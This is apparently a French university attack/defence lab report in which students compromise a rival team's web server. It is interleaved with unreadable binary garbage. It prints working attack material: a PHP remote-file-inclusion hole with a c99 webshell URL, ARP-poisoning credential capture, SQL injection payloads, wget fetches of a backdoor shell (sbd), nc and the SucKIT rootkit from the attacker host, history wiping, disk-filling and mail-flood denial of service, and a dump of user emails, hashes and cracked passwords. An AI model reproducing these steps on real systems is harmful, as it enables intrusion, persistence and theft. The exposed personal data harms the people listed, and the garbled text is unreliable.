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<?php 
if(isset($_GET['page'])) 
{ 
include $_GET['page'];  
} 
else 
{ 
include 'test.php'; 
} 
?> 

#
� ������������
��� ����2���
�2������'	��N�����	���'����	��&���>�		��
�D���
'��� '	�%%��'�
��'��4�
��:�#�'
����	���
"��&���-�
attaque:~#apache2 apache2-mpm-prefork apache2-utils  apache2.2-common 
libapache2-mod-php4 libapr1 libaprutil1 libpq4 libp q5 libzzip-0-12 php4 
php4-common 

��
���4�	����
����	�����$���&��'��	���	�����	������ ���	���'��4�
�D��%�2�
	���'��	�4���%��
$�'	�����
�%��$�$���&�����'�����&��-�
attaque:~# cat /etc/apache2/mods-enabled/php4.conf 
<IfModule mod_php4.c> 
#  AddType application/x-httpd-php .php .phtml .php 3 
#  AddType application/x-httpd-php-source .phps 
</IfModule> 

�
attaque:~# cat /etc/apache2/mods-enabled/php4.load 
#LoadModule php4_module /usr/lib/apache2/modules/li bphp4.so 

�
attaque:~# /etc/init.d/apache2 restart 

��2��D��%���
'�'
22�	��������������'�%�������	����� ��������%��>����&����	���'����	�
�>�		��
�-�
attaque:~# cp pentest/c99.php /var/www/accueil.php 

�
�
�



��� �����	�
��
��	�����
�������������� ��
�����		��
� �

� ����	���������
��� ���!�������"#�
�$���
	��"%����� �&�"�'� � �
��$���S�'
�����
�
�

&
� )'�����������
�����0�����������
��

�
1��'� 
�� ��4�$�	�
�D� ��
'� '����2���'� %>
�%� �
� '�	�� � �� %�� '����	��  ������� 
�� ��
��
��������%�
��'��4�
��:�#-�

�
�



��� �����	�
��
��	�����
�������������� ��
�����		��
� �

� ����	���������
��� ���!�������"#�
�$���
	��"%����� �&�"�'� � �
��$��,��'
�����
�
�

J�
'� ��	���'� �%��'� ��� ����"8	���%>����''�� ��� ��	��� '��4�
�D��4���%��%���%�'�	���� �
�
'����	�9�
http://192.168.0.18/site/index.php?page=http://192. 168.0.20/accueil.php 
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attaque:/home/viking#ettercap -Tq -m /home/viking/e ttercap-
log_192.168.0.2.log -M arp /192.168.0.2/ // 
... 
HTTP:192.168.0.18:80->USER: OR+'1=1' PASS: INFO: ht tp://192.168.0.18/site/ 
HTTP:192.168.0.18:80->USER: OR+'1'=+'1' PASS: OR+'1 '=+'1' INFO: 
http://192.168.0.18/site/ 
HTTP:192.168.0.18:80->USER: OR+'1'=+1 PASS: OR+'1'= +1 INFO: 
http://192.168.0.18/site/ 
HTTP:192.168.0.18:80->USER: '+OR+'a'='a PASS: '+OR+ 'a'='a INFO: 
http://192.168.0.18/site/ 
HTTP:192.168.0.18:80->USER: OR+1=1 PASS: OR+1=1 INF O: 
http://192.168.0.18/site/ 
HTTP:192.168.0.18:80->USER: bob PASS: bossboss INFO : 
http://192.168.0.18/site/ 
HTTP:192.168.0.18:80->USER: bob PASS: boss INFO: ht tp://192.168.0.18/site/ 
HTTP:192.168.0.18:80->USER: aoun PASS: stristri INF O: 
http://192.168.0.18/site/ 
HTTP:192.168.0.18:80->USER: bob PASS: avasam7! INFO : 
http://192.168.0.18/site/ 
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viking@attaque:~$ ssh defense@192.168.0.18 
defense@192.168.0.18's password: 
Linux srv-web 2.6.18-5-686  #1 SMP Wed Oct 3 00:12:50 UTC 2007 i686 
The programs included with the Debian  GNU/Linux system are free software; 
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defense@srv-web:/tmp$ /sbin/ifconfig 
eth0      Lien encap:Ethernet  HWaddr 00:04:76:F1:7C:6C 
          inet adr:192.168.225.1  Bcast:192.168.225.255  
Masque:255.255.255.0 
          adr inet6: fe80::204:76ff:fef1:7c6c/64 Sc ope:Lien 
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1 
          RX packets:68487 errors:0 dropped:0 overr uns:1 frame:0 
          TX packets:59576 errors:0 dropped:0 overr uns:0 carrier:0 
          collisions:0 lg file transmission:1000 
          RX bytes:6985272 (6.6 MiB)  TX bytes:1253 6150 (11.9 MiB) 
          Interruption:169 Adresse de base:0x4000 
defense@srv-web:/etc$ cat network/interfaces 
# This file describes the network interfaces availa ble on your system 
# and how to activate them. For more information, s ee interfaces(5). 
 
# The loopback network interface 
auto lo 
iface lo inet loopback 
 
# The primary network interface 
auto eth0 
iface eth0 inet static 
address 192.168.225.1 
netmask 255.255.255.0 
defense@srv-web:/etc$ cat resolv.conf 
nameserver 192.168.0.17 
defense@srv-web:/tmp$ /sbin/route -n 
Table de routage IP du noyau 
Destination     Passerelle      Genmask         Ind ic Metric Ref    Use 
Iface 
192.168.225.0   0.0.0.0         255.255.255.0   U     0      0        0 
eth0 
0.0.0.0         192.168.225.254 0.0.0.0         UG    0      0        0 
eth0 
defense@srv-web:/tmp$ w 
 17:40:31 up  6:03,  3 users,  load average: 0,01, 0,03, 0,00 
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT 
defense  pts/0    192.168.0.20     17:31    0.00s  0.22s  0.00s w 
defense  pts/1    hochet.lan-213.s 17:36   34.00s  0.51s  0.06s sshd: 
defense [priv] 
defense  pts/2    192.168.0.20     17:37   36.00s  0.21s  0.01s ssh 
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bob@192.168.225.254 
defense@srv-web:/tmp$ netstat -alputen 
(Tous les processus ne peuvent être identifiés, les  infos sur les processus 
non possédés ne seront pas affichées, vous devez êt re root pour les voir 
toutes.) 
Connexions Internet actives (serveurs et établies) 
Proto Recv-Q Send-Q Adresse locale          Adresse  distante        Etat        
Utilisatr  Inode      PID/Program name 
tcp        0      0 0.0.0.0: 59558            0.0.0.0:*               LISTEN     
101        6391       - 
tcp        0      0 127.0.0.1: 3306           0.0.0.0:*               LISTEN     
104        5966       - 
tcp        0      0 0.0.0.0: 111              0.0.0.0:*               LISTEN     
0          5387       - 
tcp        0      0 0.0.0.0: 113              0.0.0.0:*               LISTEN     
0          6318       - 
tcp        0      0 127.0.0.1: 25            0.0.0.0:*               LISTEN     
0          6293       - 
tcp        0      0 192.168.225.1:57453     192.168 .225.254:22      
ESTABLISHED1000       16890      3854/ssh 
tcp6       0      0 ::: 80                   :::*                    LISTEN     
0          6514       - 
tcp6       0      0 ::: 22                   :::*                    LISTEN     
0          6336       - 
tcp6       0      0 ::ffff:192.168.225.1:22 ::ffff: 172.16.80.:54288 
ESTABLISHED0          16303      - 
tcp6       0      0 ::ffff:192.168.225.1:80 ::ffff: 172.16.80.:48657 
TIME_WAIT  0          0          - 
tcp6       0      0 ::ffff:192.168.225.1:80 ::ffff: 172.16.80.:48658 
TIME_WAIT  0          0          - 
tcp6       0      0 ::ffff:192.168.225.1:22 ::ffff: 192.168.0.:40952 
ESTABLISHED0          16811      - 
tcp6       0    320 ::ffff:192.168.225.1:22 ::ffff: 192.168.0.:60060 
ESTABLISHED0          16048      - 
udp        0      0 0.0.0.0: 32769            0.0.0.0:*                          
101        6384       - 
udp        0      0 192.168.225.1:32778     192.168 .225.20: 514       
ESTABLISHED0          16832      - 
udp        0      0 0.0.0.0: 111              0.0.0.0:*                          
0          5345       - 
udp        0      0 0.0.0.0: 881              0.0.0.0:*                          
0          6375       - 
udp        0      0 192.168.225.1:123       0.0.0.0 :*                          
0          6418       - 
udp        0      0 127.0.0.1:123           0.0.0.0 :*                          
0          6417       - 
udp        0      0 0.0.0.0: 123              0.0.0.0:*                          
0          6413       - 
udp6       0      0 fe80::204:76ff:fef1:123 :::*                               
0          6416       - 
udp6       0      0 ::1:123                 :::*                               
0          6415       - 
udp6       0      0 :::123                  :::*                               
0          6414       - 
defense@srv-web:/var/mail$ /usr/sbin/arp -a 
? ( 192.168.225.20 ) at 00:04:76:F1:80:70  [ether] on eth0 
? ( 192.168.225.254 ) at 00:14:F2:75:ED:72  [ether] on eth0 
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defense@srv-web:/tmp$ ps aux 
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT  START   TIME COMMAND 
[...] 
daemon    1867  0.0  0.0   1684   364 ?        Ss   11:37   0:00 
/sbin/portmap 
root      2167  0.0  0.1   2672  1328 ?        S    11:37   0:00 /bin/sh 
/usr/bin/mysqld_safe 
mysql     2204  0.0  1.6 126492 16784 ?        Sl   11:37   0:00 
/usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/ mysql --user=mysql --
pid-file=/var/run/my 
root      2205  0.0  0.0   1560   504 ?        S    11:37   0:00 logger -p 
daemon.err -t mysqld_safe -i -t mysqld 
100       2360  0.0  0.0   5320  1000 ?        Ss   11:37   0:00 
/usr/sbin/exim4 -bd -q30m 
root      2372  0.0  0.0   1752   568 ?        Ss   11:37   0:00 
/usr/sbin/inetd 
root      2382  0.2  0.1   4924  1088 ?        Ss   11:37   0:56 
/usr/sbin/sshd 
statd     2401  0.0  0.0   1760   740 ?        Ss   11:37   0:00 
/sbin/rpc.statd 
ntp       2414  0.0  0.1   4128  1312 ?        Ss   11:37   0:00 
/usr/sbin/ntpd -p /var/run/ntpd.pid -u 105:105 -g 
daemon    2425  0.0  0.0   1832   416 ?        Ss   11:37   0:00 
/usr/sbin/atd 
root      2432  0.0  0.0   2196   880 ?        Ss   11:37   0:00 
/usr/sbin/cron 
[...] 
defense   3728  0.0  0.1   7700  1588 ?        S    17:36   0:00 sshd: 
defense@pts/1 
root      6143  0.1  0.1   2900  1496 ?        Ss   17:57   0:02 
/sbin/syslog-ng -p /var/run/syslog-ng.pid 
root      9341  0.0  0.4  15064  4780 ?        Ss   18:14   0:00 
/usr/sbin/apache2 -k start 
root      9342  0.0  0.0   1560   504 ?        S    18:14   0:00 
/usr/bin/logger 
root      9658  0.0  0.2   4468  2224 pts/1    S+   18:20   0:00 ssh 
sysadmin@192.168.225.20 
[...] 
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defense@srv-web:/var/mail$ id 
uid=1000(defense) gid=1000(defense) 
groupes=20(dialout),24(cdrom),25(floppy),29(audio), 44(video),46(plugdev),10
00(defense) 
defense@srv-web:/var/lib$ cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/bin/sh 
man:x:6:12:man:/var/cache/man:/bin/sh 
lp:x:7:7:lp:/var/spool/lpd:/bin/sh 
mail:x:8:8:mail:/var/mail:/bin/sh 
news:x:9:9:news:/var/spool/news:/bin/sh 
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 
proxy:x:13:13:proxy:/bin:/bin/sh 
www-data:x:33:33:www-data:/var/www:/bin/sh 
backup:x:34:34:backup:/var/backups:/bin/sh 
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/v ar/lib/gnats:/bin/sh 
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh 
Debian-exim:x:100:102::/var/spool/exim4:/bin/false 
statd:x:101:65534::/var/lib/nfs:/bin/false 
identd:x:102:65534::/var/run/identd:/bin/false 
defense:x:1000:1000:defense,,,:/home/defense:/bin/b ash 
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin 
mysql:x:104:104:MySQL Server,,,:/var/lib/mysql:/bin /false 
ntp:x:105:105::/home/ntp:/bin/false 
defense@srv-web:/etc/apache2$ cat sites-enabled/sit e 
NameVirtualHost * 
<VirtualHost *> 
        DocumentRoot /var/www/ 
[...] 
                Options FollowSymLinks 
[...] 
                RedirectMatch ^/$ /site/ 
[...] 
        ErrorLog /var/log/apache2/error.log 
        LogLevel warn 
        CustomLog /var/log/apache2/access.log combi ned 
        ServerSignature On 
[...] 
</VirtualHost> 
defense@srv-web:/etc$ cat hosts 
127.0.0.1       localhost 
127.0.1.1       srv-web.lan-213.stri    srv-web 
defense@srv-web:/etc$ cat hosts.allow 
(ndr : uniquement des commentaires) 
defense@srv-web:/etc$ cat hosts.deny 
(ndr : uniquement des commentaires) 
defense@srv-web:/etc$ lsmod 
Module                  Size  Used by 
xt_tcpudp               3136  2 
xt_state                2272  5 
iptable_nat             7044  0 
ip_nat                 16876  1 iptable_nat 
ip_conntrack           49088  3 xt_state,iptable_na t,ip_nat 
nfnetlink               6680  2 ip_nat,ip_conntrack  
iptable_filter          3104  1 
ip_tables              13028  2 iptable_nat,iptable _filter 
x_tables               13316  4 xt_tcpudp,xt_state, iptable_nat,ip_tables 
[...] 
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defense@srv-web:/etc$  cat group 
(ndr : rien d'intéressant) 
defense@srv-web:/etc$  cat aliases 
# /etc/aliases 
mailer-daemon: postmaster 
postmaster: root 
nobody: root 
hostmaster: root 
usenet: root 
news: root 
webmaster: root 
www: root 
ftp: root 
abuse: root 
noc: root 
security: root 
root: defense 
defense@srv-web:~$ pwd 
/home/defense 
defense@srv-web:~$ ls 
regles-iptables 
defense@srv-web:~$ cat regles-iptables 
# Generated by iptables-save v1.3.6 on Sat Sep 29 0 1:48:51 2007 
*nat 
:PREROUTING ACCEPT [293591:18523256] 
:POSTROUTING ACCEPT [706:39178] 
:OUTPUT ACCEPT [706:39178] 
COMMIT 
# Completed on Sat Sep 29 01:48:51 2007 
# Generated by iptables-save v1.3.6 on Sat Sep 29 0 1:48:51 2007 
*filter 
:INPUT DROP [0:0] 
:FORWARD ACCEPT [0:0] 
:OUTPUT ACCEPT [443892:49233788] 
-A INPUT -i lo -j ACCEPT 
-A INPUT -m state --state RELATED,ESTABLISHED -j AC CEPT 
-A INPUT -p tcp -m tcp --dport 80 -m state --state NEW -j ACCEPT 
-A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -j ACCEPT 
-A INPUT -p icmp -m state --state NEW -j ACCEPT 
-A INPUT -j DROP 
-A OUTPUT -m state --state NEW -j ACCEPT 
COMMIT 
# Completed on Sat Sep 29 01:48:51 2007 

��2��"�	���'��"���	��	�'�����%	��'�9�
�� %��%�$���
	�%�'�	�
��T��2��'�T��>�����	���	���'�E�
 ��$��
������4�%�$���
�� %����������
�'�
%�'��4�
��R�#�'��	��
4�����'�%����� ��	������4���RRR��
�� %��'��4�
��R�#����"�	����'
�4���%�'�%���'�'!"#�%��
 �'�
�� �%��>!�����'������'	���	�����>���8'�4���%�'�2��&��� '�&�'	'D�"��'�%�������2�
�'�"#%��

��'	�%%�� �	� �>�
	���'�� �
�� %�� �����@���� '
�� %�'� ��� 	'� ''&� �	� R�#� ;'�� %��
���2�$
��	�����>����'��&��$�---<�

�� 
�� �%��'� '�"#%�� ������$��� 	�
'� %�'� "��%'� 4��'� %�� �� "�	�� ��2��'�D� ��
'� ���
���
�'��'��
���>�'	�%����"�	���>��"���'	��	����;E�� ��4�%�$�������"����'���#%�'<�

���  ��	����
	��� ���� 
!	����
���
	�� ��� ��	�"����
�����	������

defense@srv-web:/proc/17053$ cat /etc/fstab 
# /etc/fstab: static file system information. 
# 
# <file system> <mount point>   <type>  <options>       <dump>  <pass> 
proc            /proc           proc    defaults        0       0 
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/dev/mapper/srv--web-root /               ext3    d efaults,errors=remount-
ro 0       1 
/dev/hda1       /boot           ext3    defaults        0       2 
/dev/mapper/srv--web-home /home           ext3    d efaults        0       2 
/dev/mapper/srv--web-tmp /tmp            ext3    de faults        0       2 
/dev/mapper/srv--web-usr /usr            ext3    de faults        0       2 
/dev/mapper/srv--web-var /var            ext3    de faults        0       2 
/dev/mapper/srv--web-swap_1 none            swap    sw              0       
0 
[...] 
defense@srv-web:/proc/17053$ df -h 
Sys. de fich.         Tail. Occ. Disp. %Occ. Monté sur 
/dev/mapper/srv--web-root 
                      268M  127M  127M  51% / 
tmpfs                 253M     0  253M   0% /lib/in it/rw 
udev                   10M   40K   10M   1% /dev 
tmpfs                 253M     0  253M   0% /dev/sh m 
/dev/hda1             236M   25M  199M  11% /boot 
/dev/mapper/srv--web-home 
                       27G  173M   26G   1% /home 
/dev/mapper/srv--web-tmp 
                      380M   11M  350M   3% /tmp 
/dev/mapper/srv--web-usr 
                      4,7G  525M  4,0G  12% /usr 
/dev/mapper/srv--web-var 
                      2,9G  276M  2,5G  11% /var 
�
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defense@srv-web:/tmp$ wget http://192.168.0.20/sbd. php 
--17:33:02--  http://192.168.0.20/sbd.php 
           => `sbd.php' 
Connexion vers 192.168.0.20:80...connectÃ©. 
requÃªte HTTP transmise, en attente de la rÃ©ponse. ..200 OK 
Longueur: 44 620 (44K) [application/x-httpd-php] 
 
100%[============================================== ========>] 44 620        
--.--K/s 
 
17:33:02 (5.35 MB/s) - Â« sbd.php Â» sauvegardÃ© [4 4620/44620] 
 
defense@srv-web:/tmp$ ls 
lost+found  sbd.php 
defense@srv-web:/tmp$ mv sbd.php sbd 
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defense@srv-web:/tmp$ chmod 700 sbd 
defense@srv-web:/tmp$ /tmp/sbd -l -p 4444 -e -r0 -D on 
defense@srv-web:/tmp$ ps aux 
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT  START   TIME COMMAND 
defense   9630  0.0  0.0   1608   200 pts/0    S    18:19   0:00 /tmp/sbd -
l -p 4444 -e           -r0 -D on 
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defense@srv-web:/tmp$ wget http://192.168.0.20/iroffer 
--17:43:20--  http://192.168.0.20/iroffer 
           => `iroffer' 
Connexion vers 192.168.0.20:80...connectÃ©. 
requÃªte HTTP transmise, en attente de la rÃ©ponse. ..200 OK 
Longueur: 233 822 (228K) [text/plain] 
100%[============================================== =>] 233 822       --.--
K/s 
17:43:20 (4.98 MB/s) - Â« iroffer Â» sauvegardÃ© [2 33822/233822] 
defense@srv-web:/tmp$ chmod 700 iroffer 
defense@srv-web:/tmp$ ./iroffer -c 
iroffer v1.3.b11 [20051213023024] by PMG 
  Configuration File Password Generator 
This will take a password of your choosing and encr ypt it. 
You should place the output this program generates in your config file. 
You can then use your password you enter here over irc. 
Your password must be between 5 and 8 characters 
Please Enter Your Password: testtest 
And Again for Verification: testtest 
To use "testtest" as your password use the followin g in your config file: 
adminpass cDVTT.dC4j31I 
defense@srv-web:/tmp$ ./iroffer -b config 
Welcome to iroffer by PMG - http://iroffer.org/ 
Version 1.3.b11 [20051213023024] 
** iroffer is distributed under the GNU General Pub lic License. 
**    please see the README for more information. 
** Starting up... 
** Started on: 2007-11-06-18:22:19 
** Loading config ... 
** Checking for completeness of config file ... 
** You Are Running Linux 2.6.18-5-686 on a i686, Go od 
** Entering Background Mode 
** All Commands must be issued by remote administratio n 
defense@srv-web:/tmp$ ps aux 
defense   9666  0.0  0.0   2168   540 ?        S    18:22   0:00 ./iroffer 
-b config 
�

�
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defense@srv-web:/tmp$ nmap 
nmap: error while loading shared libraries: libpcap.so.0. 8: cannot open 
shared object file: No such file or directory 
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defense@srv-web:/tmp$ wget http://192.168.0.20/nc 
--18:26:27--  http://192.168.0.20/nc 
           => `nc' 
Connexion vers 192.168.0.20:80...connectÃ©. 
requÃªte HTTP transmise, en attente de la rÃ©ponse. ..200 OK 
Longueur: 19 888 (19K) [text/plain] 
100%[===================================>] 19 888        --.--K/s 
18:26:27 (5.50 MB/s) - Â« nc Â» sauvegardÃ© [19888/ 19888] 
defense@srv-web:/tmp$ nc 192.168.225.20 22 
SSH-2.0-OpenSSH_4.6p1 Debian-5 
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defense@srv-web:/tmp$ wget http://192.168.0.20/sk.php 
--17:38:48--  http://192.168.0.20/sk.php 
           => `sk.php' 
Connexion vers 192.168.0.20:80...connectÃ©. 
requÃªte HTTP transmise, en attente de la rÃ©ponse. ..200 OK 
Longueur: 92 743 (91K) [application/x-httpd-php] 
100%[============================================== =====>] 92 743        --
.--K/s 
17:38:48 (8.39 MB/s) - Â« sk.php Â» sauvegardÃ© [92 743/92743] 
defense@srv-web:/tmp$ mv sk.php sk 
defense@srv-web:/tmp$ chmod 700 sk 
defense@srv-web:/tmp$ ./sk 
SucKIT v2.0-devel-rc2 <http://hysteria.sk/sd/sk> 
(c) Copyright 2001-2003 sd <sd@hysteria.sk> 
You have not configured suckit yet. Now I'll ask 
you few important questions, next time you can chan ge 
configuration by running `./sk C` 
Suckit hides files containing magic string in their  suffix 
Example: with suffix 'iamsoelite' the 'myfileiamsoe lit' or 
'myfile.iamsoelite' files will not be shown to the rest of 
the system 
Magic file-hiding suffix []: attaque 
Home directory will be your directory for logins. I t will 
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also contain .sniffer file with tty sniffer logs. 
It's name should have hide string as suffix, thus i t will 
be hidden for the rest of system too. 
Example: for hiding-suffix equal to 'attaque' you c ould have 
something like /usr/share/man/man1/.attaque 
Home directory []: /tmp/.attaque 
Suckit password is used for authentication of remot e/local 
user. Please use at least 4 characters. 
Password: 
Retype password: 
Configuration saved to ./sk 
defense@srv-web:/tmp$ ./sk x 
Password: 
SucKIT v2.0-devel-rc2 <http://hysteria.sk/sd/sk> 
(c) Copyright 2001-2003 sd <sd@hysteria.sk> 
Backdooring binaries 
WARNING: no binary backdoored 
Done, 0 binaries backdoored 
Loading suckit v2.0-devel-rc2... /dev/./kmem: Permission denied 
defense@srv-web:/tmp$ls -l /dev/kmem 
crw-r----- 1 root kmem 1, 2 2007-11-07 08:50 /dev/k mem 
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defense@srv-web:~$ history -c 
defense@srv-web:~$ ls /tmp/ 
lost+found 
defense@srv-web:~$ exit 
logout 
Connection to 192.168.0.18 closed. 
attaque:/home/viking# 
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<? 
include_once("connectBD.php");  
$q="SELECT * FROM user WHERE login='".$_POST["login "]."' AND 
pass='".md5($_POST["pass"])."'";  
$r=mysql_query($q); 
if(mysql_num_rows($r)>0){ 
$w=mysql_fetch_array($r); 
$_SESSION["login"]=$_POST["login"]; 
$_SESSION["id_login"]=$w["id_user"]; 
if(isset($_POST["remember"])) setcookie("id_login",  $w["id_user"], 
time()+60*60*24*30); 
header("Location: ."); 
} 
else { 
$_SESSION["info"]="<span style=\"color:#FF0000; fon t-weight:bold 
\">Identification incorrecte</span>"; 
header("Location: ."); 
} 
?> 

 
De cette première page ressortent plusieurs informations :  

- il faut aller voir le fichier connectBD.php car il doit contenir les informations d'accès à 
la BD 

- la base de données contient une table user avec des champs « login » et « pass ». Les 
passwords sont cryptés avec du MD5. 

 
 
Page connectBD.php : 
 
<? 
include_once("function.php"); 
$user="defense_2";  
$pwd="testtest";  
$db="linux_test";  
$host="localhost";  
 
$cnx=mysql_connect($host, $user, $pwd) or die("Erre ur de connexion au 
serveur mysql, verifiez vos parametres"); 
mysql_select_db($db, $cnx) or die("impossible de se lectionner la base"); 
 
session_start(); 
?> 

On retrouve les informations d'accès à la base de données ! 
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' UNION SELECT * FROM user WHERE type='root' # 
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L'interface administrateur du site de la défense 
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mysqldump --user=defense_2 --password=testtest --ho st=localhost --databases 
linux_test > /tmp/databases.sql 
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-- 
-- Dumping data for table `user` 
-- 
 
LOCK TABLES `user` WRITE; 
/*!40000 ALTER TABLE `user` DISABLE KEYS */; 
INSERT INTO `user` VALUES 
(1,'bob','413f79a8856da274f06dbf2b1ba58b19','jeremy .py@gmail.com','etu'),(2
,'admin2','ae4b653cfd13f247dc45937e63f7abd8','root@ root.com','root'),(4,'ao
un','4124bc0a9335c27f086f24ba207a4912','aoun@irit.f r','prof'),(5,'barrère',
'35ce1d4eb0f666cd136987d34f64aedc','barrere@irit.fr ','prof'),(6,'torguet','
fc9fdf084e290f26a270390dc49061a2','torguet@irit.fr' ,'prof'),(7,'desprats','
626726e60bd1215f36719a308a25b798','desprats@cict.fr ','prof'),(8,'blanc','e5
1a968361db615e18ad11fe34c6718e','j@wanadoo.fr','etu '),(9,'lawani','e037bb23
30cf2a94e95f1e7692db4529','aziz@wanadoo.fr','etu'), (10,'nembrot','567c99673
9edfa1cdbad4c55a80580df','david.nembrot@gmail.com', 'etu'),(11,'volny-
anne','270774cb1051a2575e2fd0574ce2bd66','j.py@voil a.fr','etu'),(12,'galy',
'f069d90638f3393acb3a8832cd7b4302','galy@stri.net', 'prof'),(13,'bach','799a
e2365b151d790de8d9452984db46','anais_royo@yahoo.fr' ,'etu'),(14,'thomas','bf
c9227748978f32e774a899807d8f34','test@test.com','et u'),(15,'lamotte','1715c
758736c18be06191635b899a247','ssibal@ssibal.com','e tu'),(16,'','60c01e4ad89
d6a27f166401419de1da6','aa','etu'),(17,'','ed7f8b99 81c64265059d3ebc3832b1ac
','divad;gnik@gmail.com','etu'),(18,'','4e713b259e3 143fe7c701bd4381fd791','
kevin.capecchi@free.fr','etu'),(19,'','b002154ebd9b 844df1d7e6042f259579',''
,'etu'); 
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Liste obtenue : 
 
 
'bob'----> boss2007 
'admin2'----> stri2007 
'aoun'----> aa 
'barrère'----> fb 
'torguet'----> pt 
'desprats'----> td 
'blanc'----> agiqsu47 
'lawani'----> acehlmu3 
'nembrot' ----> dn 
'volny-anne'----> djptvz46 
'galy'----> diruwy69 
'bach'----> ciklns35 
'thomas'----> ahswxy15 
'lamotte'----> ceoqru67 
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Nous avions donc accès à la partie « administration » du site. Nous en avons profité pour 
supprimer, modifier, ajouter des données. 
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Modification du mot de passe d'un utilisateur 
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Le but que nous nous étions fixé était de saturer les disques, et ainsi de provoquer un déni de 
service. 
Nous avons donc commencé à faire de fausses requêtes d'inscription en masse sur leur site. 
�
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Leur machine était totalement surchargée (indice de charge 18 avec 6 scripts qui tournaient en 
parallèle), à tel point qu'elle a fini par rebooter. Nous avons donc lancé par la suite 
uniquement 4 scripts afin d'éviter que la machine plante avant d'être pleine. 
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... à tel point que la machine vient de rebooter ! 
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//recherche des fichiers / dossiers en écriture pou r Apache 
find / -perm -2 -uid 33 -ls 
 
244917 4 drwxrwxrwx 4 www-data www-data 4096 Sep 10  05:02 
/var/lib/apache/mod-bandwidth 
244919 4 drwxrwxrwx 2 www-data www-data 4096 Mar 4 2007 
/var/lib/apache/mod-bandwidth/link 
244918 4 drwxrwxrwx 2 www-data www-data 4096 Mar 4 2007 
/var/lib/apache/mod-bandwidth/master 
1200816162 0 lrwxrwxrwx 1 www-data www-data 0 Dec 5  12:15 
/proc/18323/task/18323/cwd -> /proc/18323/task/1832 3 
... 
 
//remplissage du disque 
dd if=/dev/zero of=/var/lib/apache/mod-bandwidth/.v iking bs=1M count=1024 
 
//vérification du remplissage 
df -h 
/dev/mapper/srv--web-var 
2.9G 2.7G 0 100% /var 
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HTTP : 192.168.0.18:8080 -> USER: root PASS: su#!r2 ot@SQLDB? INFO: 
192.168.0.18:8080/phpmyadmin/ 
HTTP : 192.168.0.18:8080 -> USER: root PASS: su#!r2 ot@SQLDB? INFO: 
192.168.0.18:8080/phpmyadmin/navigation.php?token=7 473f6aeaa6dda29ef351f7fc
f053af2 
HTTP : 192.168.0.18:8080 -> USER: root PASS: su#!r2 ot@SQLDB? INFO: 
192.168.0.18:8080/phpmyadmin/main.php?token=7473f6a eaa6dda29ef351f7fcf053af
2 
HTTP : 192.168.0.18:8080 -> USER: root PASS: su#!r2 ot@SQLDB? INFO: 
192.168.0.18:8080/phpmyadmin/phpmyadmin.css.php 
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<iframe id="x" src="javascript:document.location='\ x00res://'" width="100%" 
height="200"></iframe> 
 
<iframe id="y" src="javascript:document.location='\ x00about:config'" 
width="100%" height="200"></iframe> 
 
<iframe id="z" src="javascript:document.location='\ x00file:///'" 
width="100%" height="200"></iframe> 

source : http://www.0x000000.com/index.php?i=467&bin=111010011 
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#!/bin/bash 
 
while true 
do 
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echo "Envoi du mail" 
mail -s test root@mail.defense2.stri < hd.jpg   
 
echo "Mail envoyé" 
 
done 
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